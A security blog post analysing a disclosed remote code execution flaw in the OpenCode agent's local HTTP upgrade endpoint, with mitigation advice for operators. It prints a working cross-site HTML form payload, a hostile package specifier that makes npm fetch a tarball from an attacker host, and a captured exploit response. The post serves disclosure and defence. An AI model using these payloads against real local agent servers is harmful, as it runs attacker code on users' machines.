The Updater Is a Remote Code Execution Feature
OpenCode’s HTTP server has an endpoint that installs a package named in the request body. On the afternoon of September 24, 2026, Datadog Security Labs published how that endpoint could be driven from a web page, with a form in your browser as the transport, to run a preinstall script as your user on your machine.
The X post from the OpenCode account states it plainly: “If you’re using OpenCode Server there is a code execution vulnerability impacting versions 1.14.30 through 1.18.21 please update to latest.” That post was published on September 24 at 14:53 UTC and has 1,057 likes, 26 reposts, and 55.4K views as of this run.
The uncomfortable part is not the bug. It is that the feature and the vulnerability are the same code path. An endpoint whose job is to install software from a request parameter is a remote code execution primitive by construction, and the only thing standing between you and an attacker is the validation you remembered to write on the parameter.
What is confirmed, and what is not
Confirmed, from the vendor advisory (GHSA-632h-h47v-g4x4, severity High, CVSS 7.5, published September 24, 2026) and the Datadog writeup: versions 1.14.30 through 1.18.21 are affected, 1.18.22 is the patched release, the flaw required a running opencode serve or opencode web server installed through npm, pnpm, or Bun, and the fix landed in PR #44686 on August 24, 2026, a month before publication.
Also confirmed: Anomaly chose not to request a CVE. Datadog reports the vendor’s stated reason, that assigning CVEs to vulnerabilities reported through GitHub Security Advisories incentivizes researchers to submit a high volume of low-quality reports. The advisory itself carries three CWEs, CWE-346 (origin validation error), CWE-352 (CSRF), and CWE-436 (interpretation conflict), and no CVE ID.
Not established by anything published: whether anyone exploited this in the wild. Datadog’s download figure of more than 647,000 npm downloads of the 82 vulnerable versions from September 17 through September 23, which the researchers note is 38.9% of all OpenCode downloads in that window, counts downloads, not unique users or machines, and says nothing about how many of them ran a server. Treat the exposure as real and unmeasured.
The mechanism, in the order it happens
OpenCode is an open source AI coding agent that Anomaly develops, with more than 200,000 GitHub stars and a built-in web interface you start with opencode serve or opencode web. It listens on 127.0.0.1:4096. Run it without a password and it tells you what that means:
$ opencode web
! OPENCODE_SERVER_PASSWORD is not set; server is unsecured.
Web interface: http://127.0.0.1:4096/
Setting the password is the documented mitigation. It is also not sufficient on its own, for a reason that matters later in this post.
The server exposes POST /global/upgrade. The documented contract is a JSON body with a version target:
POST /global/upgrade
{"target":"1.18.1"}
The handler decodes that into a single optional field, target, and passes it to an upgrade function. For npm, pnpm, and Bun installations, the function spawns a package manager:
case "npm":
upgradeResult = yield* run(["npm", "install", "-g", `opencode-ai@${target}`])
break
target is untrusted string input from an HTTP request, and it lands in a shell-style install argument. There is no version check on it. And as Datadog points out, the npm package specifier grammar accepts not only versions like 1.18.1 but remote tarball URLs. So the legitimate target of 1.18.1 and the hostile target of http://ATTACKER_IP/opencode-malicious.tgz are the same type, and the second one makes npm fetch and install a package from the attacker’s server.
Now the exploit needs one more thing, because installing a package is only interesting if the package executes code. It does: npm runs lifecycle scripts, and a preinstall entry in the attacker’s package.json runs npm’s fetch as your operating system user. The reporter’s proof of concept used open /System/Applications/Calculator.app && id > /tmp/opencode-rce, a harmless demonstration of the same primitive an attacker would spend on a reverse shell or a credential stealer.
The interesting part is how the request gets to loopback
A server on 127.0.0.1 is not reachable from the internet, so the attacker has to borrow a browser. The obvious approach fails, and the reason it fails is the reason the exploit works.
A malicious page could try a cross-origin fetch with Content-Type: application/json. The browser preflights it with OPTIONS, the OpenCode API returns no Access-Control-Allow-Origin header for the attacker’s origin, and the POST never happens. Modern browsers add a second layer: Local Network Access, shipped in Chrome 142, Firefox 151, and Edge 143, prompts the user before a site makes a cross-origin request to localhost or a hostname resolving to it. Both of these are real protections, and both have the same documented blind spot.
Neither CORS nor Local Network Access applies to top-level navigations. A page can always navigate your browser, and an HTML form can submit a POST in a navigation. HTML forms cannot express enctype="application/json", which sounds like the end of the story, except that the OpenCode handler parses the request body as JSON without ever checking the Content-Type header. Its route is registered with Effect’s handleRaw, the variant that hands you the raw body instead of decoding it according to the declared media type:
function parseBody(body: string) {
try {
return JSON.parse(body || "{}") as unknown
} catch {
return undefined
}
}
So a text/plain form body is accepted as JSON. The remaining problem is that a text/plain form serializes as name=value, and the browser inserts an equals sign that JSON does not want. The reporter splits the JSON across the form field’s name and value so that the browser’s own separator completes it:
<form method="POST" enctype="text/plain" action="http://127.0.0.1:4096/global/upgrade">
<input type="hidden"
name='{"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":"'
value='"}'>
</form>
<script>document.forms[0].submit()</script>
The browser produces {"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":"="}, which is valid JSON, which the server accepts, and which returns:
HTTP/1.1 200 OK
Content-Type: application/json
{"success":true,"version":"http://165.227.82.252/opencode-malicious.tgz"}
That response is OpenCode echoing the attacker’s URL back as if it were a version, while the install runs. The victim’s only action was loading a page.
Why the password does not save you
The advisory is explicit on the point that catches operators: the exploit “works including if a password is set through OPENCODE_SERVER_PASSWORD as long as the user has authenticated once.” Browsers cache HTTP Basic credentials for the life of the browser process, and a cross-site top-level form navigation carries cached credentials to the target origin like any other request. The captured request in the advisory shows the attacker’s page sending Authorization: Basic ... and Origin: http://ATTACKER_IP to 127.0.0.1:4096, with Sec-Fetch-Site: cross-site set honestly in the headers.
Read that again as a design lesson rather than an OpenCode quirk. The server had a password, and the browser had a credential, and the request was still cross-site and still accepted, because nothing verified that the request’s origin was one the server wanted to serve. Authentication answers “is this a client allowed to talk to me.” It does not answer “did the user intend this request.” On a loopback control plane for an agent that can run commands, the second question is the one that decides whether visiting a web page is dangerous.
What an agent operator should change
- A loopback bind is a convenience, not a boundary. Every agent runtime that now ships a
serveor web mode has an unauthenticated HTTP control surface that shares a machine with the user’s browser, and the browser will happily navigate to it on behalf of any page the user loads. Model these servers as network services, because from an attacker’s perspective that is what they are. Bind explicitly, require authentication, and validateOriginon state-changing routes rather than relying on the bind address. - Do not accept a package specifier from a request. This is the transferable design rule. An update endpoint should resolve the artifact server-side from a pinned registry, accept only a value that passes a strict format check such as a semantic version, and ideally verify a hash or signature on what it fetched. The upstream fix is exactly the first half of that:
targetis nowSchema.String.check(...)requiring a valid semantic version, with bodyless upgrades rejected. - Enforce content type in the framework, not in the handler. The patch swapped
handleRawforhandle, which decodes the body according to the declaredContent-Typeand returns415 Unsupported Media Typefortext/plain. Content-type confusion is a boundary bug, not a parsing wrinkle: in this case it was the single thing that turned a request CORS had blocked into a request the server executed. - Treat lifecycle scripts as the code execution they are. The install path executed the attacker’s
preinstallbefore any opencode code ran, and opencode was only the fetch mechanism. Any pipeline that runsnpm installon a specifier you did not pin is executing code from a package registry, which is a trust decision, not a build step. - Check which install method you have, because it decides your exposure. Per the advisory, only npm, pnpm, and Bun installations interpreted
targetas an arbitrary package spec. Confirm withls -l "$(command -v opencode)". Installs managed through curl, Homebrew, Chocolatey, or Scoop were not reachable by this arbitrary-package path, though the origin-validation and content-type flaws were still present in the server. - Rotate what the vulnerable window could have touched. This one is inference rather than a published finding, so treat it as operator hygiene: if a machine ran a server on a vulnerable version while a browser on that machine visited pages you do not control, upgrading opencode is not a full remediation, because the exploit ran as your user and nothing in this advisory rules out a payload that established persistence. Rotate the credentials that machine could reach, and consider the host untrusted from the point of exposure.
The endpoint was doing its job
The natural reading of a bug like this is that an update feature had a security flaw. That framing hides the real structure. The endpoint installed software from a parameter, on purpose, and it worked. What was missing was the set of checks that distinguishes “install version 1.18.1 from the registry” from “install this tarball from this URL,” plus the check that distinguishes a request the user’s browser made from a request a page made using the user’s browser.
Two of the three browser defenses people would name here, CORS and the Local Network Access prompt, are real and did nothing, because top-level navigations are out of scope by design. The third, the one that would have mattered, is an origin check on the server, which the advisory lists as a missing control and the patch partially substitutes for with a strict input type.
The upgrade endpoint is not a maintenance convenience that happened to be vulnerable. It is a remote code execution interface. Whether it is a feature or a vulnerability is decided entirely by the validation sitting in front of it, and this one had none for a month and a half of shipped releases, with 647,000 downloads of vulnerable versions in the seven days before anyone told the public.
Sources:
- Discovering and exploiting a remote code execution vulnerability in OpenCode (GHSA-632h-h47v-g4x4), Datadog Security Labs, Sep 24, 2026 (primary: vulnerability analysis, the
/global/upgradehandler and npm spawn path, form-based cross-origin exploitation, CORS and Local Network Access limitations on top-level navigations, 647,000 downloads of vulnerable versions Sep 17 to Sep 23, disclosure timeline, vendor decision not to request a CVE) - GHSA-632h-h47v-g4x4, anomalyco/opencode security advisory, published Sep 24, 2026 (primary: affected and patched versions, unauthenticated and cached-credential conditions, PoC tarball and form, captured request and response, CVSS 7.5 and CWE-346, CWE-352, CWE-436, reporter christophetd)
- PR #44686, fix(opencode): normalize upgrade endpoint, merged Aug 24, 2026 (primary:
handleRawreplaced byhandle, semantic version filter ontarget, patch commit c6e76e9, release 1.18.22 same day) - OpenCode installation upgrade source, packages/opencode/src/installation/index.ts (primary: the npm, pnpm, and bun install invocations that interpreted
target) - OpenCode global HTTP API handler, packages/opencode/src/server/routes/instance/httpapi/handlers/global.ts (primary:
parseBodyand theupgradeRawroute registration that skipped content-type handling) - @opencode on X, code execution vulnerability notice, Sep 24, 2026 (primary: one line advisory with the affected range 1.14.30 to 1.18.21 and attribution to @christophetd and the Datadog team; 1,057 likes, 26 reposts, 55.4K views at capture)
- Local Network Access, Chrome for Developers (reference: cross-origin prompts for localhost, shipped Chrome 142, Firefox 151, Edge 143, and the scope that excludes top-level navigations)
- npm package specifiers, npm CLI documentation (reference: version, tag, and remote tarball URL forms accepted as an install target)
- OpenCode web interface documentation (reference:
opencode serveandopencode web, the 127.0.0.1:4096 listener, andOPENCODE_SERVER_PASSWORDbasic authentication)